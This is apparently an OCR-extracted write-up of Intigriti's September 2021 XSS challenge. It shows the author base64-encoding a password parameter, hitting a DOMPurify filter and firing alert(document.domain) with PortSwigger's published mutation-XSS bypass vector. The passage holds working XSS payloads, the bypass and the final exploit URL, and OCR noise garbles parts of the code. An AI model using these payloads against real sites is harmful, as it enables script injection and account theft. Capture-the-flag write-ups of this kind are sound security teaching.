if (window[_@x5195[0x3 * @xacf + -0x3 * 0x2b3 + -0x15a9]] [_0x5195[0x24f8 + 0x126f + @xa9 * —-0x531] [_0x5195[-0xb * -0x38c + -0x1815 + Oxeeb—#—=gxi] (_0x5195[0x173d + 0x8al * 0x3 +
(_0x5195 [-0x1fb * —0x11 + 0x14 * @xbl + —0x2cca]) [_0x5195[0x5 * 0X673 + 0x48e + =Ax2233H-—0X5TISTOXL * —0XC73 + —0X691 + Ox139cl, _OX5155(0xS6L v Oxb5S+ OxIf* =0x3.
namy
atob(1);

var m = _0x5195[0x3 * —0x851 + 0x1302 + @x8adl;
console[_0x5195[-0x3 * 0xb3 + @x96e + —0x74c]](_0x5195[-0x393 + -0x1lab + @x17fbl);

“Atob” decodes a base64 string: https://www.w3schools.com/jsref/met win atob.asp

pageXOffset .
pageYOffset WlndOW atob() MethOd
parent

screen

screenLeft < Window Object

screenTop
screenX
screenY Example

SessionSiiege Decode a base-64 encoded string:

self

status var str = "Hello World!";

top var enc = window.btoa(str);

alert() var dec = window.atob(enc);

atob()

blur() var res = "Encoded String: " + enc + "<br>" + "Decoded String: " + dec;
btoa()

clearInterval() Try it Yourself »

clearTimeout()

Following website can help here: https://www.base64encode.org/

Encode to Base64 format

Simply enter your data then push the encode button.

MySecretPassword

© To encode binaries (like images, documents, etc.) use the file upload form a little further down on this page.
UTF-8 v Destination character set.
LF (Unix) v Destination newline separator.
Encode each line separately (useful for when you have multiple entries).
Split lines into 76 character wide chunks (useful for MIME).
Perform URL-safe encoding (uses Base64URL format).

Q@ Live mode OFF Encodes in real-time as you type or paste (supports only the UTF-8 character set).

YN = (o] BEKQN Fncodes your data into the area below.

TXITZWNyZXRQYXNzd29yZA==



https://www.base64encode.org/
https://www.w3schools.com/jsref/met_win_atob.asp

& C @ challenge-0921.intigriti.io/challenge/mana d=T> % @L,VUpda[e EKI‘

Password Manager 101

Enter Password to be saved

MySecretPassword

Phase 3: Lets get that XSS by inputting some code

We found our parameter and we know we need to base64 encode it. Next step would be to inject
some arbitrary code and get that XSS.

This sounds easy but quickly I realised we are up against some security filter.

Our password is reflected in HTML code so we need HTML code that executes javascript.

v<div class="control">

span id="passwordsaved">MySecretPassword</span> == $0
button class="delete">..</button>

& github.com/sOmd3v/AwesomeXSS#html-context & W 9({Update B

= README.md
HTML Context

Case: <tag>You searched for $input. </tag>

<svg onload=alert()>
</tag><svg onload=alert()>



https://github.com/s0md3v/AwesomeXSS#html-context

Encode to Base64 format

Simply enter your data then push the encode button.

<svg onload=alert()>

@ To encode binaries (like images, documents, etc.) use the file upload form a little further down on this page.

UTF-8 v Destination character set.

LF (Unix) v Destination newline separator.

Encode each line separately (useful for when you have multiple entries).

Split lines into 76 character wide chunks (useful for MIME).

Perform URL-safe encoding (uses Base64URL format).

@ Live mode OFF Encodes in real-time as you type or paste (supports only the UTF-8 character set).

P =\ (oo )] MK Encodes your data into the area below.

PHN2ZyBvbmxvYWQ9YWxIcnQoKT4=

But the security filter kicks in and destroys our XSS payload:

ager.htm|?r =

= = @ @& challenge-0921.intigri

Enter Password to be saved

Elements

lass="delet:

Styles Computed Layout Event Lis

Filter thov .cls +,

element.style {

*{ style.css:1
box-sizing: border-box;

.password span { style.css:79

e: 15px;
00;

Other well known payloads for HTML contexts can be found at PortSwigger XSS cheat sheet.

Check the Portswigger cheat sheet for more payloads: https://portswigger.net/web-security/cross-

site-scripting/cheat-sheet

onerror
<img src/onerror=alert(1l)>

Fires when the resource fails to load or img

y it
Cee® causesanerror

&



https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

& > C @ challenge-0921.intigriti.io/challenge/manager.html?passw B cnJvejl gxKT4 @\:Upda&e )

Password Manager 101

Enter Password to be saved

Styles G
Filter

element.style {
}

*{ style.css:1

box-sizing: border-box;

¥
img[Attributes Style] {

style.css:79

This gets us further then the “svg” payload but the event handler is removed by the security filter.
This handler is really needed to fire an XSS.

At this point I tried several things. I hosted an svg image externally and loaded it via the <img
src=mywebsite> which did not work.

I tried to embed an svg image with a payload:

<img src='data:image/svg+xml;utf8,<svg><script>alert(1);</script></svg>"alt="lol">
data:image/svg+xml;utf8,<svg id=Layer_1 xmIns=http://www.w3.0rg/2000/svg
xmlins:xlink=http://www.w3.0rg/1999/xlink <script>alert(1);</script></svg>"alt="lol'>

But technically this cannot work. A svg image can fire a payload in a stored XSS context if really
uploaded and saved onto the website:

& C @& challenge-0921.intigriti.io/

Enter Password to be saved

L».lol dataiimage/svg+xml;utf8,

7] | Elements Console Sources  Network  Performance  Memory  Application  Security Lighthouse

TYPE h

Styles Computed  Layout
lang="

Filter
element.style {

style.css:1

style.css:79

0/svg" id="Layer_1">alert(1);</svg>

sword




Phase 4: Take a step back and get that XSS

Several hours in the evening spend to find a good payload but nothing seems to work :-(. At this
moment I took a step back and thought lets have another look at the dictionary I build and filter out
anything that could be useful or parts that I do not know and look a bit odd to me.

The solution indeed already was included in our dictionary. Some translated parts where not know
to me and contained words like “SAFE, TRUSTED... ” so I did a Google search on them and this
revealed the filter used:

UX5193 [-UX1EE3 % UXL + —UXLBAB + UX3/5C] KE|UKN_UUM_FKAGMEN|
0x5195[-0x1d30 + 0x2527 + —@x1 * @x795] RETURN_DOM_IMPORT
0x5195[-0x16 * 0x8d + Ox1 * OX1ff + @xaB2 % Ox1] RETURN_TRUSTED_TYPE
0x5195 [@xd1 * —0x8 + —0x655 * —0x5 + —0x18bd x Ox1] FORCE_BODY
0x5195 [-0x11f * —0x1f + —OxBFf + —8x195d] MC DOM
0x5195[0x23e8 + —Oxce7 + 0x283 x —8x9]  KEEP CONTENT

0x5195 [-0x1769 + —0x25d7 + 0x45a7] IN_PLACE

0x5195 [0x158d + -8x1afl + @x35 * Oxlc]  ALLOWED_URI_REGEXP
0x5195 [-0x206e + -0x2640 + 0x46da * @x1] concat

0x5195[0x21c1 * Ox1 + 0x145f + -0x35b7 * @x1]

0x5195 [-0x6Ff + —0x7 * @x133 + -0x1 x -0xfa3]

0x5195[0x57a * Ox1 + -0x1445 + @xf35]

0x5195 [-0x263 + 0x2 * @x7b5 + @x17f4]  mathM

0x5195 [-0x178f + 0x1 * -0x10d5 + Ox51a * 0x8] ADD_TAGS

0x5195 [-0x20fe + —0x73c + @x3 * 0xd8d]  ADD_ATTR

0x5195 [0x225a + —0x128d + @x25 * -0x6b] ADDIURT_SAFELATTR
0x5195[-0x270 + 0x24ec + -Bx5ad * Ox6]  #text

0x5195 [-0x2154 + —0x2055 + —0x1606 * —x3]

0x5195 [0x6b * 0x3 + -0x1912 * Ox1 + Ox7 * 0x377] table
0x5195[0x9c4 + Ox1 * @x18f9 + -0x224c]  thody

0x5195[0x544 + -@xc7 + -0x40c]  thody

0x5195 [0x26e3 + -Ox1feb + —0x6e7] removed

0x5195[-0xa * -0x359 + @x2592 + -0x4699] parentNode

0x5195 [@x1d * —0x5b + X661 % —@x5 + 0x2aa6) removeChild
0x5195[0x19f6 + -@xlcab + 8x329] outerHTML

0x5195[-0x2176 + 0x2381 + —0x1 x Oxlfa] removed

0x5195 [-0x4 * 0x8e7 + 0x2320 + 0xf1] getAttributeNode
0x5195[0x213 + -0x1f % -0x8c + -0x12f6] removed

0x5195 [@x14c * -0x19 + -Ox1bad + Ox1 * 0x3c8f]  removeAttribute
0x5195[-0x1 * —0xblb + -0x1 * -8x2032 + -0x2b29] createHTML
0x5195 [@x5cd + -@xb2 * @x13 + 0x7e2] parseFromString

0x5195 [0x10c * 0x17 + -0x21a3 + 0x9de]  title

Go g[e ADD_URI_SAFE_ATTR X & Q @ m

Q Al & Images Q) Maps [} Videos @ News { More Tools

About 387 results (0,42 seconds)

https://github.com > cure53 issues v
ADD_URI_SAFE_ATTR config persisting after first sanitize #327

15 Mar 2019 — I've noticed a bug with calls to the sanitize method after setting
ADD_URI_SAFE_ATTR in custom configuration. Namely, the ADD_URI_SAFE_ATTR ...

https://github.com > cure53 issues v
URI_SAFE_ATTRIBUTES breaking change #366 - GitHub

URI_SAFE_ATTRIBUTES = 'ADD_URI_SAFE_ATTR' in cfg ?
addToSet(URI_SAFE_ATTRIBUTES, cfg.ADD_URI_SAFE_ATTR) : addToSet({},...

https://www.npmjs.com > package » dompurify v
dompurify | npm

13 Aug 2021 — DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML,
MathML and SVG. It's written in JavaScript and works in all ...

Go gle RETURN_TRUSTED_TYPE X & Q

Q Al (] Images Q Maps [ Videos B News ¢ More Tools

About 518 results (0,63 seconds)
Did you mean: RETURN TRUSTED TYPE

https://github.com » DOMPurify » blob > master > demos v

DOMPurify/trusted-types-demo.html at main - GitHub
innerHTML = DOMPUurify.sanitize(dirty, (RETURN_TRUSTED_TYPE: true});. // .. or wrap
DOMPurify in TT policy itself. const sanitizer = trustedTypes.

https://github.com » cure53 » DOMPurify ~
DOMPurify - a DOM-only, super-fast, uber-tolerant ... - GitHub

sanitize is used in an environment where the Trusted Types API is available and
RETURN_TRUSTED_TYPE is set to true , it tries to return a TrustedHTML value ...



(=
fo)

Go gle SAFE_FOR_TEMPLATES X

Q Al @ Images @ Maps [ Videos @ News : More Tools

About 10.200 results (0,59 seconds)
Did you mean: SAFE FOR TEMPLATES

https://github.com > cure53 » DOMPurify » blob > RE... ¥
DOMPurify/README.md at main - GitHub

only use this mode if there is really no alternative. var clean = DOMPurify.sanitize(dirty,
{SAFE_FOR_TEMPLATES: true}); /** * Control our allow-lists and ...

Allright we are up against a DOMPurify security filter it seems or at least something that uses parts
of that code. Lets Google for a possible bypass.

And here comes Portswigger (Gareth Hayes) to the rescue with XSS mutation attacks:

https://portswigger.net/research/bypassing-dompurify-again-with-mutation-xss

Go g|e dompurify bypass X & Q
Q Al Q Maps ¢ Shopping [ Videos @ News i More Tools
About 35.200 results (0,44 seconds)
https://portswigger.net > research » bypassing-dompurif... ¥
Bypassing DOMPurify again with mutation XSS - PortSwigger
07 Oct 2020 — After seeing Michat Bentkowski's DOMPurify bypass and the resulting patch, |
was inspired to try and crack the patched version myself.
i . [ loon )
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E2 PortSwigger ——
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Gareth Heyes
N Researcher
3 @garethheyes
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https://portswigger.net/research/bypassing-dompurify-again-with-mutation-xss

I am not an expert in XSS mutations so best is to Google yourself and figure out how it works. For
this challenge this part is interesting:

This vector only worked in Chrome, so | was about to tweet this but then right before the tweet was scheduled to go

out | found an mXSS in Firefox! For some reason a normal HTML comment wouldn't work to cause mutation in
Firefox. However, if you change the comment to a CDATA tag it works fine:

<math><mtext><table><mglyph><style><![CDATA[</style><img
title="]]&gt;&lt;/mglyph&gt;&lt;img&Tab;src=1&Tab;onerror=alert(1l)&gt;">

The main difference between this and the Chrome one is CDATA tag and the required closing mglyph tag. | use the
entity &Tab; to prove the mutation is actually happening and is not just attribute injection. It's worth noting that this
Firefox vector was found after DOMPurify was patched. If you'd like to play with the vectors yourself then you can use
our mXSS tool:

Time to base64 encode it and fire our XSS:
< C @ challenge-0921.intigriti, ‘ 0ZXhC 0eWxIP) .. % @ (update )

challenge-0921.intigriti.i

1

This works :-) our arbitrary javascript is executed. The URL can be delivered to our victim and once
he adds his password our javascript will be executed.

Here the URL that will pop the document.domain as requested by the challenge:

https://challenge-0921.intigriti.io/challenge/manager.html?
password=PG1hdGg+PG10ZXh0Pjx0YWJIsZT48bWdseXBoPjxzdHIsZT48IS0tPC9zdHIsZT48aW

1nIHRpdGxIPSItL.SZndDsmbHQ7L.21nbHIwaCZndDsmbHQ7aW1nJIRhY jtzcmMIMSZUYWI7b
25lcnJvej1hbGVydChkb2N1bWVudC5kb21haW4pJmdOOyI+

Works both on Chrome and FireFox:

& C' @ challenge-0921.intigriti.

% @L,VUpdate
challenge-0921.intigriti.io says

challenge-0921.intigriti.io

Enter Password to be saved



https://challenge-0921.intigriti.io/challenge/manager.html?password=PG1hdGg+PG10ZXh0Pjx0YWJsZT48bWdseXBoPjxzdHlsZT48IS0tPC9zdHlsZT48aW1nIHRpdGxlPSItLSZndDsmbHQ7L21nbHlwaCZndDsmbHQ7aW1nJlRhYjtzcmM9MSZUYWI7b25lcnJvcj1hbGVydChkb2N1bWVudC5kb21haW4pJmd0OyI+
https://challenge-0921.intigriti.io/challenge/manager.html?password=PG1hdGg+PG10ZXh0Pjx0YWJsZT48bWdseXBoPjxzdHlsZT48IS0tPC9zdHlsZT48aW1nIHRpdGxlPSItLSZndDsmbHQ7L21nbHlwaCZndDsmbHQ7aW1nJlRhYjtzcmM9MSZUYWI7b25lcnJvcj1hbGVydChkb2N1bWVudC5kb21haW4pJmd0OyI
https://challenge-0921.intigriti.io/challenge/manager.html?password=PG1hdGg+PG10ZXh0Pjx0YWJsZT48bWdseXBoPjxzdHlsZT48IS0tPC9zdHlsZT48aW1nIHRpdGxlPSItLSZndDsmbHQ7L21nbHlwaCZndDsmbHQ7aW1nJlRhYjtzcmM9MSZUYWI7b25lcnJvcj1hbGVydChkb2N1bWVudC5kb21haW4pJmd0OyI
https://challenge-0921.intigriti.io/challenge/manager.html?password=PG1hdGg+PG10ZXh0Pjx0YWJsZT48bWdseXBoPjxzdHlsZT48IS0tPC9zdHlsZT48aW1nIHRpdGxlPSItLSZndDsmbHQ7L21nbHlwaCZndDsmbHQ7aW1nJlRhYjtzcmM9MSZUYWI7b25lcnJvcj1hbGVydChkb2N1bWVudC5kb21haW4pJmd0OyI

intigriti.io,

@ challenge-0921.intigriti.io

challenge-0921.intigriti.io
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